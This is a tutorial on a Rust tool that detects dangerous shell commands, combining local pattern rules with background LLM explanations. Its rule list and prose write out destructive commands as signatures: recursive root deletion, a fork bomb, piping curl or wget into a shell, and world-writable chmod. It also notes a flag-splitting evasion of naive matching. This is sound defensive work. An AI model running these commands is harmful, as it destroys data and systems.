Detecting Dangerous Shell Commands in Rust — Building a Safety Layer

Real-Time Shell Command Risk Assessment: A Hybrid Local-LLM Architecture

Current Situation Analysis

Developer tools that interact with the shell—terminal emulators, IDE integrations, and command helpers—face a persistent tension between safety and workflow friction. Users frequently copy-paste commands from documentation or forums without fully understanding the implications. When a command like rm -rf / or a fork bomb is executed, the consequences can be catastrophic.

The industry standard response has been binary: either implement strict local pattern matching or offload analysis to a cloud-based Large Language Model (LLM). Both approaches have critical flaws when used in isolation.

Local pattern matching offers negligible latency but lacks contextual awareness. It cannot distinguish between rm -rf /var/log (often safe) and rm -rf / (destructive) without complex, brittle rule sets. Conversely, cloud-based LLM analysis provides nuanced reasoning but introduces latency. In a real-time interface, waiting 500ms–2000ms for an API response before allowing the user to proceed creates unacceptable friction. Users will disable safety features that slow down their workflow.

The overlooked insight is that safety assessment does not need to be a single atomic operation. By decoupling instant risk signaling from contextual explanation, developers can achieve both zero-latency feedback and deep analysis. This hybrid approach acknowledges that pattern matching is sufficient for immediate danger detection, while LLMs excel at explaining nuance and handling obfuscation.

WOW Moment: Key Findings

The following comparison illustrates why a hybrid architecture outperforms single-strategy implementations in production developer tools.

Strategy	Latency	Contextual Depth	UX Friction	False Positive Rate	Implementation Cost
Cloud-Only	High (>500ms)	High	High (Blocking)	Low	Medium (API costs)
Local-Only	Negligible (<1ms)	Low	Low	Medium	Low
Hybrid (Recommended)	Instant + Async	High	Low (Progressive)	Low	Medium

Why this matters: The hybrid model enables a "progressive disclosure" UX. The UI can display an immediate risk indicator based on local analysis, then asynchronously update with an LLM-generated explanation. This preserves workflow speed while providing the safety depth of an AI model. Users see a warning instantly, but the tool never blocks execution waiting for the cloud.

Core Solution

The architecture consists of three layers: a local pattern matcher for immediate classification, a severity taxonomy for granular risk representation, and an asynchronous enrichment service for LLM-based context.

Architecture Decisions

1. Local-First Evaluation: All commands pass through a local matcher first. This ensures the UI can react immediately. The local matcher returns a RiskProfile containing a severity level and a confidence score.
2. Asynchronous Enrichment: If the local matcher flags a command or if the user requests details, an LLM call is triggered in the background. This call does not block the main thread. Results are pushed to the UI via a reactive stream.
3. Granular Severity Taxonomy: Binary safe/unsafe classifications are insufficient. A four-tier system allows the UI to differentiate between a harmless suggestion and a system-critical threat, adjusting the visual urgency accordingly.

Implementation in Rust

The following implementation demonstrates the hybrid pattern using idiomatic Rust. It separates concerns into a matcher, a risk model, and an enrichment client.

use std::collections::HashMap;
use serde::{Deserialize, Serialize};

/// Granular risk classification for UI differentiation
#[derive(Debug, Clone, PartialEq, Eq, Serialize)]
pub enum RiskSeverity {
    Safe,
    Advisory,      // Potentially risky, easily recoverable
    Hazardous,     // Destructive, requires caution
    Catastrophic,  // Irreversible, system-level impact
}

/// Local analysis result
#[derive(Debug, Clone, Serialize)]
pub struct RiskProfile {
    pub severity: RiskSeverity,
    pub matched_pattern: Option<String>,
    pub requires_enrichment: bool,
}

/// Pattern definition with associated severity
struct PatternRule {
    signature: &'static str,
    severity: RiskSeverity,
    is_regex: bool,
}

/// Core analyzer struct
pub struct CommandRiskAnalyzer {
    rules: Vec<PatternRule>,
    llm_client: Option<EnrichmentClient>,
}

impl CommandRiskAnalyzer {
    pub fn new() -> Self {
        let mut rules = Vec::new();
        
        // Define rules with varying severity levels
        rules.push(PatternRule {
            signature: "rm -rf /",
            severity: RiskSeverity::Catastrophic,
            is_regex: false,
        });
        rules.push(PatternRule {
            signature: ":(){ :|:& };:",
            severity: RiskSeverity::Catastrophic,
            is_regex: false,
        });
        rules.push(PatternRule {
            signature: r"(curl|wget)\s+.*\|\s*(bash|sh)",
            severity: RiskSeverity::Hazardous,
            is_regex: true,
        });
        rules.push(PatternRule {
            signature: "chmod -R 777",
            severity: RiskSeverity::Hazardous,
            is_regex: false,
        });
        rules.push(PatternRule {
            signature: "dd if=",
            severity: RiskSeverity::Advisory,
            is_regex: false,
        });

        Self {
            rules,
            llm_client: None, // Initialize with client in production
        }
    }

    /// Synchronous local assessment for instant feedback
    pub fn assess_local(&self, command: &str) -> RiskProfile {
        let normalized = command.to_lowercase().trim().to_string();
        
        for rule in &self.rules {
            let is_match = if rule.is_regex {
                // In production, use a compiled regex cache
                regex::Regex::new(rule.signature)
                    .map(|re| re.is_match(&normalized))
                    .unwrap_or(false)
            } else {
                normalized.contains(rule.signature)
            };

            if is_match {
                return RiskProfile {
                    severity: rule.severity.clone(),
                    matched_pattern: Some(rule.signature.to_string()),
                    requires_enrichment: true, // LLM can provide context
                };
            }
        }

        RiskProfile {
            severity: RiskSeverity::Safe,
            matched_pattern: None,
            requires_enrichment: false,
        }
    }

    /// Trigger async enrichment without blocking
    pub fn request_enrichment(&self, command: &str, profile: &RiskProfile) {
        if profile.requires_enrichment {
            if let Some(client) = &self.llm_client {
                let cmd = command.to_string();
                let profile_clone = profile.clone();
                
                // Spawn background task for LLM analysis
                tokio::spawn(async move {
                    let explanation = client.analyze(&cmd).await;
                    // Emit result to UI stream
                    handle_enrichment_result(cmd, profile_clone, explanation).await;
                });
            }
        }
    }
}

/// Mock enrichment client for demonstration
struct EnrichmentClient;

impl EnrichmentClient {
    async fn analyze(&self, command: &str) -> String {
        // In production, this calls Gemini/LLM API
        // Prompt should request JSON with risk explanation and mitigation
        format!("LLM analysis for '{}': Contextual risk assessment pending.", command)
    }
}

async fn handle_enrichment_result(
    command: String,
    profile: RiskProfile,
    explanation: String,
) {
    // Update UI state with explanation
    println!(
        "Enrichment complete: Severity={:?}, Pattern={:?}, Explanation={}",
        profile.severity, profile.matched_pattern, explanation
    );
}

Rationale

• Regex vs. Substring: The implementation supports both. Substring matching is faster for exact signatures like rm -rf /. Regex handles variations like piping to shell (curl | bash). A production system should cache compiled regex patterns to avoid recompilation overhead.
• requires_enrichment Flag: Not all matches need LLM analysis. If the local pattern is unambiguous (e.g., rm -rf /), the risk is clear. The flag allows the system to skip LLM calls for obvious cases, reducing API costs and latency.
• Async Enrichment: The tokio::spawn block ensures the main thread remains responsive. The UI can show a "Analyzing..." state or simply update when the result arrives.

Pitfall Guide

1. The Modal Trap

Explanation: Blocking the UI with a confirmation dialog for every warning destroys workflow. Users will disable the feature or develop "click-through" blindness. Fix: Use non-blocking inline indicators. Show a badge or color change next to the command. Only block for Catastrophic risks, and even then, allow a "Force Run" option with explicit acknowledgment.

2. Severity Flattening

Explanation: Treating all dangerous commands equally leads to poor UX. A warning for chmod 777 should not look the same as rm -rf /. Fix: Implement a severity taxonomy. Map UI styles to levels: Advisory (yellow icon), Hazardous (orange text), Catastrophic (red banner). This helps users prioritize their attention.

3. Latency Blocking

Explanation: Waiting for the LLM response before displaying any feedback defeats the purpose of real-time assistance. Fix: Always return local results immediately. Treat LLM analysis as a background enrichment step. The UI should display the local risk level first, then update with the explanation when available.

4. Pattern Brittleness

Explanation: Simple substring matching fails against obfuscation. rm -r -f / bypasses a check for rm -rf /. Fix: Normalize commands before matching. Strip redundant flags, collapse whitespace, and resolve aliases where possible. Use regex for flexible matching, but balance this against false positives. Acknowledge that pattern matching is not a security boundary; it's a helper.

5. False Positive Overload

Explanation: Overly aggressive patterns flag benign commands. Flagging curl https://example.com as dangerous because it contains curl erodes trust. Fix: Refine patterns to require context. Instead of matching curl, match curl.*\|.*bash. Use negative lookahead in regex to exclude safe domains if necessary. Regularly review false positives and adjust rules.

6. LLM Hallucination on Safety

Explanation: LLMs can occasionally misclassify commands or provide incorrect risk assessments due to training data biases. Fix: Never rely solely on LLM output for critical decisions. Use LLM for explanation and nuance, but let the local matcher act as the ground truth for known dangerous patterns. Implement a timeout and fallback mechanism for LLM calls.

7. User Desensitization

Explanation: If warnings appear too frequently, users ignore them. Fix: Implement a "quiet mode" for trusted commands or allow users to whitelist specific patterns. Provide clear, actionable explanations so users understand why a command is flagged, turning warnings into learning opportunities.

Production Bundle

Action Checklist

• Define a risk taxonomy with at least three severity levels (e.g., Advisory, Hazardous, Catastrophic).
• Implement a local pattern matcher with support for both substring and regex rules.
• Normalize input commands (lowercase, trim, collapse whitespace) before matching.
• Design a non-blocking UI that displays risk indicators inline.
• Integrate an async LLM enrichment service that triggers on flagged commands.
• Implement timeout handling and fallback behavior for LLM calls.
• Create a mechanism to update pattern rules without redeploying the application.
• Add telemetry to track warning frequency and user actions (blocked vs. forced run).

Decision Matrix

Scenario	Recommended Approach	Why	Cost Impact
CLI Tool / Offline App	Local-Only	No network dependency; instant feedback is critical.	Zero API costs.
Desktop IDE Plugin	Hybrid	Best UX: instant local signal + async LLM context.	Moderate API costs per analysis.
CI/CD Pipeline	Local + Static Analysis	Speed and accuracy; LLMs may be too slow for pipeline gates.	Infra costs for static analysis tools.
High-Security Environment	Local-Only + Whitelist	LLMs introduce external data exfiltration risks.	Zero API costs; higher maintenance for rules.

Configuration Template

Use this template to structure your risk rules and LLM integration in a Rust application.

// config.rs
use serde::Deserialize;

#[derive(Debug, Deserialize)]
pub struct RiskConfig {
    pub rules: Vec<RiskRule>,
    pub llm: LlmConfig,
}

#[derive(Debug, Deserialize)]
pub struct RiskRule {
    pub pattern: String,
    pub severity: String, // "advisory", "hazardous", "catastrophic"
    pub is_regex: bool,
    pub description: String,
}

#[derive(Debug, Deserialize)]
pub struct LlmConfig {
    pub provider: String, // "gemini", "openai"
    pub api_key_env: String,
    pub timeout_ms: u64,
    pub prompt_template: String,
}

// Example prompt template for LLM enrichment
const LLM_PROMPT_TEMPLATE: &str = r#"
Analyze the following shell command for safety risks.
Command: {command}
Provide a JSON response with:
- risk_level: "safe", "advisory", "hazardous", or "catastrophic"
- explanation: A concise sentence describing the risk.
- mitigation: A suggestion to reduce risk, if applicable.
Respond with valid JSON only.
"#;

Quick Start Guide

1. Initialize the Analyzer: Create a CommandRiskAnalyzer instance with your pattern rules. Load rules from a configuration file for easy updates.
2. Integrate Local Assessment: Call assess_local(command) synchronously whenever the user types or pastes a command. Bind the result to your UI state.
3. Trigger Enrichment: If assess_local returns a risk level above Safe, call request_enrichment. This spawns a background task to query the LLM.
4. Handle Results: Update the UI when the enrichment task completes. Display the LLM explanation alongside the local risk indicator. Ensure the UI remains responsive during this process.
5. Test and Refine: Run a suite of test commands covering safe, risky, and catastrophic cases. Monitor false positives and adjust patterns. Validate that the LLM provides accurate explanations for edge cases.